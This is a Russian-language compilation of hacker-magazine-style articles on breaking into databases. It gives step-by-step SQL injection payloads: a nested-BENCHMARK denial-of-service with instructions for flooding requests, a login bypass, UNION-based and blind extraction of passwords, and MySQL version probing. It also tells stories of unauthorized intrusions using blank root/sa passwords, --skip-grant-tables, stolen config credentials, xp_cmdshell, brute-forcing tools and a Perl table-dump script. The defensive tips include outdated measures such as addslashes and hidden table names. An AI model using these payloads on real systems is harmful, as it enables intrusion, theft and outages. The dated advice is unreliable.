Кроме того практически в любой ситуации, когда имеет место уязвимость SQL инъекция, и можно внедрять произвольные выражения, можно с минимальными средствами заставить MySQL сервер исчерпать все сви ресурсы - заставить потреблять 100% свободного процессорного времени или набрать максимум разрешенных соединений.

В первом случае результаты сервер будет отдавать со значительной временной задержкой, во втором, попытки новых соединения с сервером будут отсекаться.

Функция BenchMark в MySQL используется для того чтобы вычислить заданное выражение заданное количество раз. Так например benchamrk(1000000, md5(current_time)) в зависимости от вычислительных мощностей сервера будет вычисляться около 30-60 секунд. Если же функцию сделать вложенной: benchamrk(1000000, benchamrk(1000000, md5(current_time))), то вычисление такой функции займет очень много времени на сервере любой конфигурации.

Теперь осталось только внедрить эту функцию в SQL запрос, так чтобы в нем не произошло ошибки:

http://localhost/test.php?id=1-benchamrk(1000000,benchamrk(1000000, md5(current_time))), или

http://localhost/test2.php?order=(benchamrk(1000000,benchamrk(1000000, md5(current_time))))

Теперь, для эффективной DoS атаки достаточно сделать серию таких HTTP запросов на сервер. Дожидаться ответа не обязательно, достаточно, чтобы запрос дошел до сервера. Серию таких запросов можно организовать как вручную, через броузер, так и скриптом.

В зависимости от мощности сервера, будет достаточно от нескольких десятков до нескольких сотен таких запросов.

Следует учесть, что для эффективной атаки, результат запроса не должен нигшде кешироваться. Для того, чтобы предотвратить кэширование на прокси сервер, в каждый запрос можно добавлять случайную величину:

http://localhost/test.php?id=1-benchamrk(1000000,benchamrk(1000000, md5(current_time)))-46323279

Заключение

Многие в настоящее время считают, что если они используют MySQL сервер третей версии, то они защищены от уязвимости типа SQL инъекция. Я всего лишь показал, что это не так :)

Что может сделать взломщик используя SQL injection

С каждым днем все больше скриптов используют базы данных, все больше хостингов доверяют пароли своих клиентов SQL-базам, все больше популярных сайтов переходит на публичные форумы и движки, работающие с MySQL. Но далеко не все ясно представляют себе, насколько опасным может быть непродуманное использование MySQL в скриптах.

Как это есть?

Без знаний основ языка SQL трудно что-либо понять. Прежде всего разберемся, в чем заключается суть атаки типа SQL injection. К примеру, на атакуемом сервере стоит следующий PHP-скрипт, который на основе поля category_id делает выборку заголовков статей из таблицы articles и выводит их пользователю:

//подключаемся к MySQL

mysql_connect($dbhost, $dbuname, $dbpass) or die(mysql_error());

mysql_select_db($dbname) or die(mysql_error());

$cid=$_GET["cid"];

$result=mysql_query("SELECT article_id, article_title FROM articles where category_id=$cid"); // <- уязвимый запрос

while( $out = mysql_fetch_array( $result)):

echo "Статья: ".$out['article_id']." ".$out['article_title']."<br>";

endwhile;

//выводим результат в виде списка

В переводе с языка MySQL запрос звучит так: "ВЫБРАТЬ ид_статей, заголовки_статей ИЗ таблицы_статей ГДЕ ид_категории равно $cid". На первый взгляд все верно, по ссылке типа http://serv.com/read.php?cid=3 скрипт работает нормально и выводит пользователю список статей, принадлежащих категории 3.

Но что если пользователь - никакой не пользователь, а обыкновенный хакер? Тогда он сделает запрос http://serv.com/read.php?cid=3' (именно с кавычкой) и получит что-то вроде: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/apache/htdocs/read.php on line 14.

Почему ошибка? Посмотрим, что запросил PHP у MySQL. Переменная $cid равна 1', тогда запрос принимает неверный с точки зрения MySQL вид: SELECT article_id, article_title FROM articles where category_id=1'. При синтаксической ошибке в запросе MySQL отвечает строкой "ERROR 1064: You have an error in your SQL syntax...". PHP не может распознать этот ответ и сообщает об ошибке, на основе которой хакер может судить о присутствии уязвимости типа SQL Injection. Очевидно, что злоумышленник получит возможность задавать переменной $cid любые значения ($cid=$_GET[cid]) и, следовательно, модифицировать запрос к MySQL. Например, если $cid будет равна "1 OR 1" (без кавычек в начале и в конце), то MySQL выдаст все записи, независимо от category_id, так как запрос будет иметь вид (..) where category_id=1 OR 1. То есть либо category_id = 1 (подойдут лишь записи с category_id, равными 1), либо 1 (подойдут все записи, так как число больше нуля - всегда истина).

Только что описанные действия как раз и называются SQL Injection - иньекция SQL-кода в запрос скрипта к MySQL. С помощью SQL Injection злоумышленник может получить доступ к тем данным, к которым имеет доступ уязвимый скрипт: пароли к закрытой части сайта, информация о кредитных картах, пароль к админке и т.д. Хакер при удачном для него стечении обстоятельств получит возможность выполнять команды на сервере.

Как атакуют?

Классический пример уязвимости типа SQL Injection - следующий запрос: SELECT * FROM admins WHERE login='$login' AND password=MD5('$password').

Допустим, он будет проверять подлинность введенных реквизитов для входа в админскую часть какого-нибудь форума. Переменные $login и $password являются логином и паролем соответственно, и пользователь вводит их в HTML-форму. PHP посылает рассматриваемый запрос и проверяет: если количество возвращенных от MySQL записей больше нуля, то админ с такими реквизитами существует, а пользователь авторизуется, если иначе (таких записей нет и логин/пароль неверные) - пользователя направят на fsb.ru.

Как взломщик использует SQL Injection в этом случае? Все элементарно. Злоумышленнику требуется, чтобы MySQL вернул PHP-скрипту хотя бы одну запись. Значит, необходимо модифицировать запрос так, чтобы выбирались все записи таблицы независимо от правильности введенных реквизитов. Вспоминаем фишку с "OR 1". Кроме того, в MySQL, как и в любом языке, существуют комментарии. Комментарии обозначаются либо --комментарий (комментарий в конце строки), либо /*комментарий*/ (комментарий где угодно). Причем если второй тип комментария стоит в конце строки, закрывающий знак '*/' необязателен. Итак, взломщик введет в качестве логина строку anyword' OR 1/*, а в качестве пароля - anyword2. Тогда запрос принимает такой вид: SELECT * FROM admins WHERE login='anyword' OR 1/* AND password=MD5('anyword2'). А в переводе на человеческий язык: ВЫБРАТЬ все ИЗ таблицы_admins ГДЕ логин равен 'anyword' ИЛИ 1, а остальное воспринимается как комментарий, что позволяет отсечь ненужную часть запроса. В результате MySQL вернет все записи из таблицы admins даже независимо от того, существует админ с логином anyword или нет, и скрипт пропустит хакера в админку. Такая уязвимость была обнаружена, например, в Advanced Guestbook. Она позволяла войти в администраторскую часть не зная пароля и внутри нее читать файлы. Но SQL Injection этого типа обычно не позволяют злоумышленнику получить данные из таблицы.

Union и MySQL версии 4

Вернемся к скрипту получения заголовков статей. На самом деле он позволяет взломщику получить гораздо больше, чем список всех статей. Дело в том, что в MySQL версии 4 добавлен новый оператор - UNION, который используется для объединения результатов работы нескольких команд SELECT в один набор результатов. Например: SELECT article_id, article_title FROM articles UNION SELECT id, title FROM polls. В результате MySQL возвращает N записей, где N - количество записей из результата запроса слева плюс количество записей из результата запроса справа. И все это в том порядке, в каком идут запросы, отделяемые UNION.

Но существуют некоторые ограничения по использованию UNION:

1. число указываемых столбцов во всех запросах должно быть одинаковым: недопутимо, чтобы первый запрос выбирал, например, id, name, title, а второй только article_title;

2. типы указываемых столбцов одного запроса должны соответствовать типам указываемых столбцов остальных запросов: если в одном запросе выбираются столбцы типа INT, TEXT, TEXT, TINYTEXT, то и в остальных запросах должны выбираться столбцы такого же типа и в таком же порядке;

3. UNION не может идти после операторов LIMIT и ORDER.

Так как же UNION может стать пособником злоумышленника? В нашем скрипте присутствует запрос "SELECT article_id, article_title FROM articles where category_id=$cid". Что мешает хакеру, используя SQL injection, вставить еще один SELECT-запрос и выбрать нужные ему данные? Правильно: ничего!

Допустим, цель хакера - получить логины и пароли всех авторов, которые могут добавлять статьи. Есть скрипт чтения списка статей http://serv.com/read.php?cid=1, подверженный SQL injection. Первым делом хакер узнает версию MySQL, с которой работает скрипт. Для этого он сделает следующий запрос: http://serv.com/read.php?cid=1+/*!40000+AND+0*/. Если скрипт вернет пустую страницу, значит, версия MySQL >= 4. Почему именно так? Число 40000 - версия MySQL, записанная без точек. Если версия, которая стоит на сервере, больше или равна этому числу, то заключенный в /**/ код выполнится как часть запроса. В результате ни одна запись не подойдет под запрос и скрипт не вернет ничего. Зная версию MySQL, хакер сделает вывод о том, сработает фишка с UNION или нет. В случае если MySQL третьей версии, фишка работать не будет. В нашем случае MySQL >= 4 и злоумышленник все-таки воспользуется UNION.

Для начала взломщик составит верный UNION-запрос, то есть подберет действительное количество указываемых столбцов, которое бы совпало с количеством указываемых столбцов левого запроса (вспоминай правила работы с UNION). Хакер не имеет в распоряжении исходников скрипта (если, конечно, скрипт не публичный) и поэтому не знает, какой именно запрос шлет скрипт к MySQL. Придется подбирать вручную - модифицировать запрос вот таким образом: http://serv.com/read.php?cid=1+UNION+SELECT+1. И тут о своем присутствии объявит ошибка, так как количество запрашиваемых столбцов не совпадает. Хакер увеличивает количество столбцов еще на единицу: http://serv.com/read.php?cid=1+UNION+SELECT+1,2 - получает список статей из категории 1, а также в самом конце две цифры: 1 и 2. Следовательно, он верно подобрал запрос.

Посмотрим на модифицированный запрос от PHP к MySQL: SELECT article_id, article_title FROM articles where category_id=1 UNION SELECT 1,2. В ответ MySQL возвращает результат первого SELECT (список статей) и результат второго SELECT - число "1" в первом столбце и "2" во втором столбце (SELECT+1,2). Другими словами, теперь, подставляя вместо '1' и '2' реальные имена столбцов из любой таблицы, можно будет заполучить их значения.

Составив верный SELECT+UNION запрос, хакер постарается подобрать название таблицы с нужными ему данными. Например, таблица с данными пользователей будет, скорее всего, называться users, Users, accounts, members, admins, а таблица с данными о кредитных картах - cc, orders, customers, orderlog и т.д. Для этого злоумышленник сделает следующий запрос: http://serv.com/read.php?cid=1+UNION+SELECT+1,2+FROM+users. И если таблица users существует, то PHP-скрипт выполнится без ошибок и выведет список статей плюс '1 2', иначе - выдаст ошибку. Так можно подбирать имена таблиц до тех пор, пока не будет найдена нужная.

В нашем случае "нужная" таблица – это authors, в которой хранятся данные об авторе: имя автора, его логин и пароль. Теперь задача хакера - подобрать правильные имена столбцов с нужными ему данными, чаще всего с логином и паролем. Имена столбцов он станет подбирать по аналогии с именем таблицы, то есть для логина столбец, скорее всего, будет называться login или username, а для пароля - password, passw и т.д. Запрос будет выглядеть так: http://serv.com/read.php?cid=1+UNION+SELECT+1,login+from+authors.

Почему хакер не стал вставлять имя столбца вместо единицы? Ему нужна текстовая информация (логин, пароль), а в нашем случае в левом запросе SELECT на первом месте идет article_id, имеющий тип INT. Следовательно, в правом запросе хакер не может ставить на первое место имя столбца с текстовой информацией (правила UNION).

Итак, выполнив запрос http://serv.com/read.php?cid=1+UNION+SELECT+1,login+from+authors, взломщик находит список логинов всех авторов, а подставив поле password - список паролей. И получает желанные логины и пароли авторов, а админ сервера – подмоченную репутацию. Но это только в нашем примере Фортуна улыбнулась злоумышленнику так широко: он быстро подобрал количество столбцов, а в реальной жизни количество столбцов может достигать 30-40.

UNION и нюансы

Теперь рассмотрим некоторые ситуации, в которых использование UNION затруднено по тем или иным причинам.

Ситуация 1

Левый запрос возвращает лишь числовое значение. Что-то вроде SELECT code FROM artciles WHERE id = $id. Что будет делать хакер? Средства MySQL позволяют проводить различные действия над строками, к примеру, выделение подстроки, склеивание нескольких строк в одну, перевод из CHAR в INT и т.п. Благодаря этим функциям хакер имеет возможность выудить интересующую его информацию по одному символу. К примеру, требуется достать пароль из таблицы admins, используя приведенный выше запрос. Чтобы получить ASCII-код первого символа пароля, сделаем следующий запрос к скрипту: http://127.0.0.1/read.php?cid=1+union+select+ASCII(SUBSTRING(password,1,1))+from+admins. Функция SUBSTRING(name,$a,$b) в MySQL выделяет $b символов из значения столбца name начиная с символа под номером $a. Функция ASCII($x) возвращает ASCII-код символа $x. Для получения последующих символов следует просто менять второй параметр функции SUBSTRING до тех пор, пока ответом не будет 0. Подобный способ был использован в эксплойте для одной из версий phpBB.

Ситуация 2

SQL Injection находится в середине SQL-запроса. Например: SELECT code FROM artciles WHERE id = $id AND blah='NO' AND active='Y' LIMIT 10. Для правильной эксплуатации хакер просто откомментирует идущий следом за Injection код, то есть к вставляемому коду добавит /* или --. Пробелы в запросе взломщик может заменить на /**/, что полезно в случае если скрипт фильтрует пробелы.

Ситуация 3

Случается и такое, что в PHP-коде подряд идет несколько SQL-запросов, подверженных Injection. И все они используют переменную, в которую злоумышленник вставляет SQL-код. Например (опускаю PHP):

$result=mysql_query("SELECT article_id, article_title FROM articles where category_id=$cid");

//php code here

$result=mysql_query("SELECT article_name FROM articles where category_id=$cid");

//тут вывод результата

Это довольно неприятно для хакера, так как для первого запроса SQL Injection пройдет нормально, а для второго UNION - уже нет, так как количество запрашиваемых столбцов отличается. И если программист, писавший код, предусмотрел остановку скрипта в случае ошибки типа "... or die("Database error!")", то эксплуатация обычными методами невозможна, так как скрипт остановится раньше, чем будет выведет результат.

Ситуация 4

Скрипт выводит не весь результат запроса, а, например, только первую запись. И если хакер будет прямо пользоваться UNION, то скрипт выдаст только первую запись из ответа MySQL, а остальное отбросит, в том числе результат SQL Injection. Для того чтоб преодолеть все препятствия и на этом этапе, хакер передаст левому запросу такой параметр для WHERE, чтобы в ответ на него MySQL не вернул ни одной записи.

Например, есть такой запрос: SELECT name FROM authors WHERE id=$id. После SQL Injection он будет выглядеть следующим образом: (..) id=1 UNION SELECT password FROM authors. Но PHP-скрипт выведет только первую запись, поэтому вставляемый код следует модифицировать: (..) id=-12345 UNION SELECT (..). Теперь в ответ на левый запрос MySQL не вернет ничего, а в ответ на правый - желанные для хакера данные.

Ситуация 5

Скрипт не выводит результат запроса. Например, есть скрипт, который выводит какие-либо статистические данные, например, количество авторов, принадлежащих к определенной группе. Причем количество записей он считает не с помощью MySQL-функции COUNT, а в самом скрипте. Скрипт шлет MySQL такой запрос: SELECT id FROM authors where category_id=$cid.

Допустим, скрипт возвращает что-то вроде "Найдено десять авторов в данной категории". В этом случае злоумышленник будет эксплуатировать SQL injection, конечно же, методом перебора символов! Например, хакеру надо получить пароль автора с id = 1, для чего потребуется перебирать каждый символ пароля. Но как получить символ, если PHP не выводит ничего из того, что возвратил MySQL?

Рассмотрим такой запрос: SELECT id FROM authors where category_id=-1 UNION SELECT 1,2 FROM authors WHERE id=1 AND ASCII(SUBSTRING(password,1,1))>109. Результатом запроса будет одна запись, если ASCII-код первого символа пароля больше 109, и ноль записей, если больше, либо равна. Итак, методом бинарного поиска нетрудно найти нужный символ. Почему хакер использует знаки "больше/меньше", а не "равно"? Если взломщику надо получить 32-символьный хэш пароля, ему придется делать примерно 32*25 запросов! Метод бинарного поиска позволяет сократить это число в два раза. Само собой, делать запросы хакер будет уже не руками, а с помощью скрипта, автоматизирующего перебор.

MySQL версии 3

Несмотря на отсутствие в третьей версии оператора UNION, и из нее хакер сможет вытащить то, чем интересуется. В осуществлении этого замысла помогут подзапросы и перебор символов, но описание этого метода займет еще пару листов (которых мне не дали). Поэтому ищи статьи на эту тему на www.rst.void.ru (автор 1dt.w0lf) и www.securitylab.ru (автор Phoenix).

Как защищаться?

Правило №1. Фильтруй входные данные. Кавычку заменяй на слеш-кавычку(\'), слеш - на слеш-слеш. В PHP это делается или включением magic_quotes_gpc в php.ini, или функцией addslashes(). В Perl: $id=~s/(['\\])/\\$1/g;. И на всякий случай: $id=~s/[a-zA-z]//g; - для числовых параметров.

Правило №2. Не дай кому не надо внедрить SQL-код! Заключай в кавычки все переменные в запросе. Например, SELECT * FROM users WHERE id='$id'.

Правило №3. Отключи вывод сообщений об ошибках. Некоторые программисты, наоборот, делают так, что при ошибке скрипт выводит сообщение самого MySQL, или, еще ужасней, - ВЕСЬ SQL-запрос. Это предоставляет злодею дополнительную информацию о структуре базы и существенно облегчает эксплуатацию.

Правило №4. Никогда не разрешай скриптам работать с MySQL от root. Ничего хорошего не выйдет, если хакер получит доступ ко всей базе.

Правило №5. Запускай публичные скрипты от отдельного пользователя с отдельной базой. Неприятно будет, если какой-нибудь кидди, воспользовавшись 0day-дырой в форуме, получит доступ к базе с СС твоих клиентов.

Правило №6. Отключи MySQL-пользователю привилегию FILE - не дай хакеру записать в файл что-то вроде <?system($_GET[cmd])?> через MySQL.

Правило №7. Не называй таблицы и базы данных в соответствии с их назначением, чтоб утаить от чужих глаз настоящие названия. В публичных скриптах часто предоставляют возможность установить prefix для названия таблиц - устанавливай самый сложный. Если кто-нибудь и найдет SQL injection, то не сможет ее эксплуатировать.

Чаще всего уязвимости оставляют в тех запросах, параметры которых передаются через hidden формы в HTML и через cookies, видимо, из-за того, что они не видны пользователю и не так привлекают внимание злодеев.

Часто забывают про SQL Injection в функции Reply, о поиске сообщений пользователя в форумах, в репортах различных сервисов. В 80% WAP-сервисов SQL injection находят по десять штук в каждом скрипте (наверное, админы думают, что туда только через сотовые ходят). На самом деле многие недооценивают SQL Injection. Известен случай, когда обычная SQL injection в скрипте репорта привела к реальному руту на трех серверах и дампу гиговой базы. А всего-то SQL Injection…

Статьи по теме

inattack.ru/group_article/34.html
www.rst.void.ru/papers/sql-inj.txt
www.securitylab.ru/49424.html
www.securitylab.ru/49660.html

Все чаще администраторы получают возможности убедиться в том, что знания по безопасности запросов к MySQL не менее важны, чем эффективное использование этих запросов.

Защитить свою базу от хакеров можно – нужно только грамотно следовать определенным правилам по нейтрализации подобных атак.

С помощью UNION хакер может легко узнать пользователя, базу данных и версию MySQL, для чего используются функции user(), database() и version() соответственно. Взломщик просто сделает запрос типа SELECT user().

Даже если в обороне есть брешь, можно дезинформировать противника присваивая переменным нелогичные названия. Тогда их будет просто невозможно подобрать.

Чем ты больше знаешь о том, как ломают, тем проще предотвратить взлом.

Регулярно просматривай новостные сайты по безопасности, чтобы быть в курсе вновь изобретенных способов взлома и не допускать утечек ценной информации.

Обзор уязвимостей с наглядными примерами

Стало модным хранить информацию в БД - от сообщений на попсовых форумах до генетических кодов новейших белковых соединений. Понятно, что для хакеров такие базы являются предметом страстного желания и возможностью поправить свое материальное положение. А чтобы встать на защиту СУБД, надо понимать основные приемы ее взломщика.

Несмотря на то что SQL-сервер находится за брандмауэром и принимает подключения только с доверенных машин, стащить важную информацию с него не так уж и сложно. Более того, для этого даже не нужно быть суперхакером, достаточно получить доступ к одному серверу из локальной сети, и данные окажутся в преступных руках. Если, конечно, администратор не уделил серверу особого внимания.

Парольная проблема

Чаще всего взлом СУБД происходит из-за "плохого" пароля или из-за его полного отсутствия. Но даже если он и существует, взломать БД для хакера не составит особого труда. Чтобы ты в полной мере осознал проблему, приведем ряд примеров-взломов (от простого к сложному).

1. Как-то раз хакер баловался и сканировал nmap’ом какую-то русскую подсеть в зоне *.rose.ru, в которой находились серверы одного крупного хостера. Сканер записал в лог информацию об основных сервисах в этой подсети. На трех адресах (из 120) вертелись демоны MySQL. Хакеру стало интересно, какая информация хранится в этих СУБД. Он набрал в шелле команду "mysql –h host –u root", и... сервис сказал, что с его хоста не разрешено соединяться с базой. Тогда хакер попробовал другой хост, и... его пустили внутрь! Поразительно, но админ даже не удосужился установить пароль на вход. Кстати, информация была не такой уж и профанской: в БД хранились сведения о концертах каких-то московских музыкальных групп. Однако хакер ничего не стал изменять, а просто создал дополнительную базу с названием hack :). Через пару дней администратор ее заметил и взялся за ум.

2. Поздним вечером другой хакер сканировал на различные сервисы буржуйскую подсеть (хакеры вообще любят сканировать порты) Windows'овским сканером LanGuard. Просмотрев его отчет по диагонали, он, к своей радости, обнаружил два хоста с открытым портом 1433. Это означало, что на сервере крутился небезызвестный MS SQL. Ситуация похожа на предыдущий случай. Первый демон не пустил в гости, а второй поддался. Только вместо логина root хакер использовал учетную запись sa с пустым паролем. В базе хранился каталог кредитных карт одного крупного интернет-магазина. По-видимому, админ решил поднять бэкап-сервер и не позаботился о защите.

3. Подобным образом некий хакер несколько раз проникал на Windows'овские mysqld. Дело в том, что в ранних версиях разработчики забили на аутентификацию в Win32-сервисах. Действительно, даже при грамотной настройке сервис пускал абсолютно всех под любым именем пользователя без пароля :). Как-то раз, благодаря этому, хакеру удалось дефейснуть один популярный форум в локальной сети (правда, потом получил подзатыльник от администратора). Поэтому обязательно проверяй безопасность сервиса, если он крутится на Windows.

Прицел на MySQL

Большинство ценных баз данных хранятся в СУБД под названием MySQL. По правилам безопасности этот демон должен быть установлен на *nix-like-системах на отдельно взятом сервере. Но часто происходит так, что все сервисы (включая mysqld) вертятся на одной машине, обычно ради экономии денег. Отсюда возможности взлома MySQL. Ниже приводим три примера из жизни, чтобы показать проблему наглядно.

Пример 1: Root - спаситель

Рассмотрим один из типичных случаев взлома БД. Однажды некий хакер нашел сервер, на котором крутился бажный mod_php. Через пару часов эксплойт 7350fun предоставил ему шелл-доступ к машине. Быстро залив хороший backdoor, хакер зашел по телнету на порт 31337 ;), затем добил сервер известным эксплойтом для ядерной баги ptrace (не стоит говорить про то, как администраторы патчат ядра) и получил рутовые права.

Помимо web-сервера, на машине располагался MySQL. По всем правилам порт 3306 был зафильтрован файрволом, на сервисе стоял сложный пароль и запрет на вход с посторонних машин. Однако mod_php и дырявое ядро создали все условия для хищения данных, лежащих в MySQL. Даже без знания заветного пароля хакер мог зайти в СУБД. Ему даже не пришлось копировать таблицы на свой винчестер и извращаться с заменой некоторых файлов. Он просто убил процесс mysqld, а затем запустил его с ключиком --skip-grant-tables. Оставалось лишь обратиться к БД под суперпользователем, и сервис впустил хакера без запроса пароля! Бережно скопировав нужные таблицы, хакер перезапустил демон в обычном режиме и удалился с сервера. Вся грязная работа была выполнена в кратчайшие сроки :). А в таблицах были пароли клиентов на раскрученный интернет-магазин...

Пример 2: Поиск пароля

Как-то раз в аську к некому хакеру постучался его друг и стал слезно умолять достать пароль одного недруга на форум, чтобы отправить несколько нецензурных сообщений от его имени. Работа была простая, взломщик даже нашел баг в www-скрипте, позволяющему выполнять команды на сервере. Хакер залил backdoor и забрался в консоль. К сожалению, на сервере стояла новенькая FreeBSD, для которой не существует хороших локальных эксплойтов. Следовательно, прием с перезапуском mysqld тут не прокатит. СУБД и web-сервер находились на одной машине, а хакер был наделен правами nobody. В таком положении ему требовалось найти конфиг от форума, что он успешно сделал с помощью команды "locate config.inc.php". В конфигурационном файле находилась учетная запись на сервис MySQL. Последняя команда "mysql –uuser –ppassword –e ‘select password from users where username=’user’’ forum" выдала хакеру зашифрованный пароль пользователя. Оставалось только расшифровать пароль с помощью Md5Inside (http://inattack.ru/program/25) или другого брутфорсера.

Здесь же уместен другой случай взлома MySQL. Однажды некому хакеру посчастливилось подобрать пароль одного пользователя на раскрученном хостинге. Его права были урезаны по самые уши, даже компилятор не запускался. Тогда хакеру пришло в голову выполнить команду "find / -name *history". И что ты думаешь? Он нашел целых пять читабельных файлов .mysql_history. В них, конечно же, была строчка с паролем доступа в незашифрованном виде. Таким вот образом хакер получил доступ к пяти таблицам MySQL. Правда, информация там не была особо ценной, в основном аккаунты к форуму или к free email-сервису...

Пример 3: Атака эксплойтом

Не так давно для MySQL появился рабочий эксплойт. Суть его в том, что пользователь может отправить сложный пароль, переполнив буфер на серверной стороне. В итоге сервис авторизует клиента даже в том случае, если админ устанавливал сложнейший пароль. Обидно, но данный баг реально работает лишь в третьей версии mysqld. Но полгода назад (аккурат после выхода эксплойта) хакеры здорово поглумились над демонами. Через несколько дней после выхода эксплойта кто-то переделал MySQL-клиент и выложил его в public-источник. С виду это обычный бинарник, но на самом деле в него зашит вышеописанный эксплойт. С его помощью можно быстро проверить хост на уязвимость. Достаточно соединиться с сервером без указания пароля и, если версия сервиса устаревшая, тебя пустят внутрь.

Помимо этого эксплойта, существуют и другие. Однако рассказывать про них не имеет смысла, потому что сейчас ты уже не найдешь дырявые версии. А пару лет назад была возможность не только проникнуть в СУБД, но и выполнять команды на сервере с правами суперпользователя.

Кстати, о командах. Через MySQL невозможно выполнить запрос, который бы интерпретировался каким-либо шеллом. Однако никто не запретит тебе создать файл с произвольными данными, владельцем которого будет пользователь, под которым ты зашел в СУБД. Для этого выполняется нехитрый SQL-запрос: "SELECT * FROM table INTO OUTFILE ‘/home/user/blah.txt’". Если файл blah.txt существует, он успешно перезапишется. В некоторых целях этот трюк может быть очень полезен, особенно если зайти под рутовым аккаунтом.

Атака MS SQL

Вторая по популярности СУБД носит гордое имя MS SQL и используется на многих раскрученных (чаще всего зарубежных) серверах. Несмотря на то, что для этого сервиса вышло целых три сервиспака, баги в творении MicroSoft были, есть и будут :).

Самый первый баг, о котором пишут уже много лет, заключается в недостаточной настройке MS SQL. Действительно, некоторые админы устанавливают сервер, видят, что все работает, и экспортируют ценную БД. Особо одаренные администраторы даже не задумываются, что вход в СУБД через пользователя sa с пустым паролем - не совсем безопасная идея :). Вспоминается случай, когда пару лет назад некий хакер проверял защиту одного зарубежного интернет-магазина, торгующего постерами. На главном сервере была установлена Windows с седьмым MS SQL. Факт отсутствия файрвола очень заинтриговал хакера. Он нашел в интернете клиент isql.exe, с помощью которого осуществляется обращение к СУБД, а затем попробовал залогиниться под пользователем Administrator. Хакера послали куда подальше, но он не стал отчаиваться, а просто сменил логин на sa. И... побывал внутри системы :).

Получить доступ к MS SQL значит завладеть всей системой. В отличие отсвоих конкурентов, разработчики этой СУБД включили некоторые функции, выполняющие системные команды. Одна из них называется xp_cmdshell. Причем в ряде случаев никто не запрещает выполнять внешние запросы даже под гостевым логином (если администратор не уделил должное внимание настройке СУБД). К примеру, однажды хакер баловался одним сканером Windows, определяющим возможность гостевого входа. Примечательно, что хакерское творение реализовано в виде единого bat-файла, который быстро сканирует заданную подсеть на наличие гостевого входа в MS SQL. Чтобы проверить сеть на уязвимость, необходимо положить в каталог с файлом scan.bat (www.securitylab.ru/35715.html) клиент isql.exe, а затем запустить сканер с параметром адреса сети (192.168.0.1/24, например). Сначала bat-файл проверит наличие MS SQL, затем попробует залогиниться под гвестом, а после этого попытается выполнить командный запрос через встроенную функцию xp_cmdshell. Полгода назад этот способ работал на ура :).

Как и для MySQL, к СУБД в Windows было написано очень много рабочих эксплойтов. Один из них до сих пор способен вызвать переполнение буфера в MS SQL SP2 и предоставить хакеру командный доступ к системе (www.packetstormsecurity.org/0211-exploits/sql2.cpp). Атака проводится на UDP порт 1434. Примечательно, но для осуществления взлома не потребуется знать логин и пароль на вход в MS SQL. Таким образом, в теории все сервисы до SP3 подчиняются хакеру. Но на практике это не так: эксплойт безбожно глючит при атаке на MS SQL SP2 и не всегда возвращает командный доступ при наличии SP1.

Если сервер имеет активный MS SQL, но все вышеперечисленные приемы не дали желаемого результата, хакеры пробуют подобрать пароль к СУБД. В этом им помогает замечательная утилита mssqlpwd (www.packetstormsecurity.org/Crackers/mssqlpwd.zip), которая имеет вид пропатченного клиента. Достаточно скормить ей увесистый словарик, и процесс перебора пойдет своим ходом.

Для MySQL также существуют переборщики. Один из известных брутфорсеров получил название hydra (thc.org). Этот многофункциональный Linux'овый переборщик способен осуществлять подбор паролей с поддержкой потоков, комболистов, словарей и т.д. Никто не запрещает запустить его в background на зарубежном шелле. При таком раскладе даже самый стойкий пароль обязательно подберется :).

И, конечно же, MS SQL и MySQL ломаются традиционной SQL-инжекцией. При определенном раскладе хакер получит доступ к командному шеллу с правами system. Расписывать теорию SQL-инжекции нет смысла, так как в этом номере есть отдельная статья.

Ты, наверное, заметил, что методы взлома MySQL и MS SQL несколько схожи. Действительно, эти СУБД построены на реляционной модели, поэтому язык обращения к ним практически одинаков. Что касается багов в самом софте, то хакеры уделяют одинаковое внимание как Windows, так и Linux. При таком раскладе администратор находится в самом невыгодном положении: он должен каждый день читать ленты багтрака и при необходимости скачивать обновления или свежие версии СУБД. Поэтому, если ты админ крупной СУБД, не спеши проверять чужие подсети на безопасность, а в первую очередь проведи аудит своей.

Другие СУБД

Кроме MySQL и MS SQL, существуют другие СУБД, с которыми можно встретиться на многих серверах. Это и многофункциональный PostgreSQL, и специфический Oracle. Приемы взлома этих БД во многом схожи с методами, описанными в статье. Для доступа к этим СУБД используются свои клиенты (pgsql и sqlplus соответственно). Но чаще обращаются к этим СУБД используя мощь языка Perl или PHP. Например, если хакеру известны логин и пароль на доступ к Oracle, но по какой-то причине он не может найти (запустить) клиент, то ему проще залить на сервер Perl'овый скрипт, а затем выполнить его. Код будет примерно таким:

#!/usr/bin/perl

use DBI;

$TB=$ARGV[0];

$oradrh = DBI->install_driver( 'Oracle' );

$ENV{'ORACLE_SID'} = "web01";

$dataSource = "dbi:Oracle:$ENV{'ORACLE_SID'}";

$dbh=DBI->connect_cached($dataSource,root”,”mypwd”,{AutoCommit => 1 })

or die print"Can't connect to Oracle database: $DBI::errstr\n";

my $sql = qq{ SELECT * FROM $TB WHERE rownum <= 3 }; # Выполнить SELECT с выводом только трех значений (для краткости)

my $sth = $dbh->prepare($sql);

$sth->execute();

while($indexes=$sth->fetchrow_arrayref) {

for($i=0;$i<=37;$i++) {

print "obj: $indexes->[$i]\n # Вывести данные на экран

";

}

}

$sth->finish();

Для PHP код будет уже другим. Вообще, сценарии - великая вещь.

Ссылки на электронную литературу

Чтобы быть в курсе уязвимостей в СУБД, достаточно посещать несколько сайтов (хотя бы раз в неделю) или подписаться на рассылку новостей. Ниже список ресурсов, где можно найти интересную информацию по взлому и защите СУБД.

www.xakep.ru – информация о последних обнаруженных уязвимостях (для СУБД в том числе) плюс анонс новых выпусков "Хакер" и "Хакер-Спец".

www.securitylab.ru – статьи по взлому баз данных, ссылки на заплатки, а также эксплойты (к примеру, эксплойт bypass auth для MySQL) для этих уязвимостей.

www.security.nnov.ru – в разделе "Эксплойты" (www.security.nnov.ru/search.exploits.asp) есть несколько для атаки на MySQL и MS SQL.

www.packetstormsecurity.org – в поиске (www2.packetstormsecurity.org/cgi-bin/search/search.cgi) задай ключевые слова MS SQL, MySQL, Oracle, PostgreSQL и т.п.

www.opennet.ru – правильная настройка Unix и сервисов (настройка СУБД в том числе).

Последняя версия Hydra умеет вести перебор паролей как для MySQL, так и для MS SQL.

Запомни главное правило: при крупных проектах никогда не держи SQL-сервер и web-сервер на одной машине.

Для MS SQL вышло уже три сервиспака. Взять их можно на microsoft.com.

При настройке MS SQL обязательно выруби гостевой вход, смени имя пользователя и пароль, а также отключи функции выполнения внешних команд.

Не стесняйся разделять права пользователям MySQL. Не давай право учетной записи форума иметь доступ ко всем остальным базам данных.

Помимо авторизации по хостам и парольной аутентификации обязательно прикрывай порт сервиса файрволом, чтобы наверняка защитить свою СУБД.

